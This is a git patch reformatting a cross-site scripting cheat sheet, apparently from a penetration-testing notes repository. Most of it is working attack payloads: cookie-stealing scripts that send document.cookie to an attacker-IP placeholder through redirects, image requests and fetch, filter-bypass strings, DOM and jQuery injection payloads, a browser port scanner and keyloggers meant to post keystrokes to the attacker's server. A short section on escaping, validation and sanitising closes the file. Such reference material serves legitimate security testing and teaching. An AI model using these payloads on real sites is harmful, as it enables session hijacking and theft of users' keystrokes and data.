From 8771c5cd1c5f2eab627e370872a630cfc29f2361 Mon Sep 17 00:00:00 2001
From: gurkenhabicht <info@intheopen.org>
Date: Tue, 14 May 2024 22:35:54 +0200
Subject: [PATCH] clean up

---
 Exploits/Web/XSS.md | 147 ++++++++++++++++++++++++++++++++++----------
 1 file changed, 114 insertions(+), 33 deletions(-)

diff --git a/Exploits/Web/XSS.md b/Exploits/Web/XSS.md
index 2e78749..ea5132f 100644
--- a/Exploits/Web/XSS.md
+++ b/Exploits/Web/XSS.md
@@ -1,8 +1,13 @@
 # Cross-Site Scripting
-A web application is vulnerable to XSS if it uses unsanitized user input. XSS is possible in Javascript, VBScript, Flash and CSS.
+
+A web application is vulnerable to XSS if it uses unsanitized user input. XSS
+is possible in Javascript, VBScript, Flash and CSS.
 
 ## Stored XSS
-This is where a malicious string originates from the websites database. Such as (stored in a db)
+
+This is where a malicious string originates from the websites database. Such as
+(stored in a db)
+
 * User profiles
 * Chats and comments
 * Part of link
@@ -10,19 +15,23 @@ This is where a malicious string originates from the websites database. Such as
 * Blind xss is stored inside the app but effects are only visible by proxy, [xsshunter](https://xsshunter.com/).
 
 ### Examples
-* Sanity test by changing DOM content
-```
+
+Sanity test by changing DOM content
+
+```html
 <script>document.getElementById('myIdName').innerHTML="napf"</script>
 ```
 
-* Cookie stealing
+Cookie stealing
 
 ```javascript
 <script>document.location='/log/'+document.cookie</script>
 ```
-    * Navigte to `/logs` and take sid
 
-* Open nc port and collect cookies
+Navigte to `/logs` and take sid
+
+Open nc port and collect cookies
+
 ```javascript
 <script>document.location='http://<attacker-IP>:<attacker-Port>/XSS/grabber.php?c='+document.cookie</script>
 <script>var i=new Image;i.src="http://<attacker-IP>:<attacker-Port>/?"+document.cookie;</script>
@@ -30,65 +39,124 @@ This is where a malicious string originates from the websites database. Such as
 ```
 
 ## Reflected XSS
-In a reflected cross-site scripting attack, the malicious payload is part of the victims request to the website. The website includes this payload in response back to the user. To summarise, an attacker needs to trick a victim into clicking a URL to execute their malicious payload.
+
+In a reflected cross-site scripting attack, the malicious payload is part of
+the victims request to the website. The website includes this payload in
+response back to the user. To summarise, an attacker needs to trick a victim
+into clicking a URL to execute their malicious payload.
+
 * URL parameters inside GET queries
 * File paths
 
 ### Usage
+
 As script inside parameter
-```sh
+
+```html
 http://example.com/search?keyword=<script>...</script>
 ```
-* Show server IP
-```
+
+Show server IP
+
+```html
 http://example.com/reflected?keyword=<script>alert(window.location.hostname)</script>
 ```
-* Session stealing, base64 encoded
+
+Session stealing, base64 encoded
+
 ```javascript
 <script>fetch('http://<attacker-IP>/steal?cookie=' + btoa(document.cookie));</script>
 ```
-    * open netcat binder to catch the http queries
+
+Open netcat binder to catch the http queries
 
 ## DOM based XSS
-With DOM-Based xss, an attackers payload will only be executed when the vulnerable Javascript code is either loaded or interacted with. It goes through a Javascript function like so:
+
+With [DOM-Based
+XSS](https://portswigger.net/web-security/cross-site-scripting/dom-based), an
+attackers payload will only be executed through the DOM when the
+vulnerable Javascript code is either loaded or interacted with. It goes through
+a Javascript function like so:
+
 ```javascript
 var keyword = document.querySelector('#search')
 keyword.innerHTML = <script>...</script>
 ```
 
+DOM based XSS also works out directly through the URL if parts of the URL (URL
+fragments) are put into a javascript function. These fragments inside the URL
+are marked by a `#` char and are executed inside the DOM not the server. An
+example of a URL is as follows.
+
+```html
+https://example.com#<img src=x onerror=alert(document.cookie)></img>
+```
+
+Measurements against DOM based XSS are URL encoding and httponly cookies.
+
+### DOM based XSS via JQuery
+
+Put the payload inside an iframe to use it through JQuery through triggering
+`hashchange`. This is described on
+[the
+portswigger](https://portswigger.net/web-security/cross-site-scripting/dom-based)
+page.
+
+```html
+<iframe src="https://vulnerable-website.com#" onload="this.src+='<img src=1 onerror=alert(1)>'">
+```
+
 ### Usage
-* Find the sub-object inside the document
+
+Find the sub-object inside the document through ending the string and execute a
+javascript alert when hovering over the sub-object.
+
 ```javascript
 test" onmouseover="alert('YO!')"
 ```
-* Show cookie
-```
+
+Show cookie
+
+```javascript
 test" onmouseover="alert(document.cookie)"
 ```
+
 ## Bypass Filters
-* `<script>` sanitizing
+
+`<script>` sanitizing
+
 ```HTML
 <img src=x onerror=alert('Hello');>
 ```
-or 
+
+or
+
 ```javascript
 <</script>script>alert("1");<</script>/script>
 ```
-* `alert()` sanitizing
+
+`alert()` sanitizing
+
 ```javascript
 0\"autofocus/onfocus=alert(1)--><onerror=prompt(2)>"-confirm(3)-"
 ```
+
 or
+
 ```javascript
 0\"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-"
 ```
-* Strings, here its `Hello`
+
+Strings, here its `Hello`
+
 ```javascript
 <style>@keyframes slidein {}</style><xss style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert('Hello')"></xss>
 ```
 
 ## Portscanner via Javascript
-* By requesting the favicon, checking port 80
+
+By requesting the favicon, checking port 80
+
 ```javascript
  <script>
  for (let i = 0; i < 256; i++) {
@@ -100,10 +168,10 @@ or
 </script> 
 ```
 
-* [pdp's portscanner](https://www.gnucitizen.org/files/2006/08/jsportscanner.js)
-
+[pdp's portscanner](https://www.gnucitizen.org/files/2006/08/jsportscanner.js)
 
 ## Keylogger
+
 ```javascript
  <script type="text/javascript">
  let l = ""; // Variable to store key-strokes in
@@ -111,9 +179,11 @@ or
    l += e.key; // If user types, log it to the l variable
    console.log(l); // update this line to post to your own server
  }
-</script> 
+</script>
 ```
-* base64 encoded keylogger
+
+Base64 encoded keylogger
+
 ```javascript
 <script>
 document.onkeypress = function (e) {
@@ -127,23 +197,34 @@ document.onkeypress = function (e) {
 * Redirection of source after opening a tab through a provisioned link and back referencing 
 * [Hacktricks Tabnabbing](https://book.hacktricks.xyz/pentesting-web/reverse-tab-nabbing)
 
-
 ## Tricks and Tips
+
 * Use Polyglots
 * [XSS Filter Evasion Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html)
 * Close the a vulnerable, exploitable tag and open a script tag
+
 ```html
 </tag><script>alert(1);</script>
 ```
 
 ## Protection Methods
 
-There are many ways to prevent XSS, here are the 3 ways to keep cross-site scripting our of your application.
+There are many ways to prevent XSS, here are the 3 ways to keep cross-site
+scripting our of your application.
 
-1. Escaping - Escape all user input. This means any data your application has received  is secure before rendering it for your end users. By escaping user input, key characters in the data received but the web page will be prevented from being interpreter in any malicious way. For example, you could disallow the < and > characters from being rendered.
-
-2. Validating Input - This is the process of ensuring your application is rendering the correct data and preventing malicious data from doing harm to your site, database and users. Input validation is disallowing certain characters from being submit in the first place.
-
-3. Sanitising - Lastly, sanitizing data is a strong defence but should not be used to battle XSS attacks alone. Sanitizing user input is especially helpful on sites that allow HTML markup, changing the unacceptable user input into an acceptable format. For example you could sanitise the < character into the HTML entity &#60;
+1. Escaping - Escape all user input. This means any data your application has
+   received  is secure before rendering it for your end users. By escaping user
+   input, key characters in the data received but the web page will be
+   prevented from being interpreter in any malicious way. For example, you
+   could disallow the < and > characters from being rendered.
 
+2. Validating Input - This is the process of ensuring your application is
+   rendering the correct data and preventing malicious data from doing harm to
+   your site, database and users. Input validation is disallowing certain
+   characters from being submit in the first place.
 
+3. Sanitising - Lastly, sanitizing data is a strong defence but should not be
+   used to battle XSS attacks alone. Sanitizing user input is especially
+   helpful on sites that allow HTML markup, changing the unacceptable user
+   input into an acceptable format. For example you could sanitise the <
+   character into the HTML entity &#60;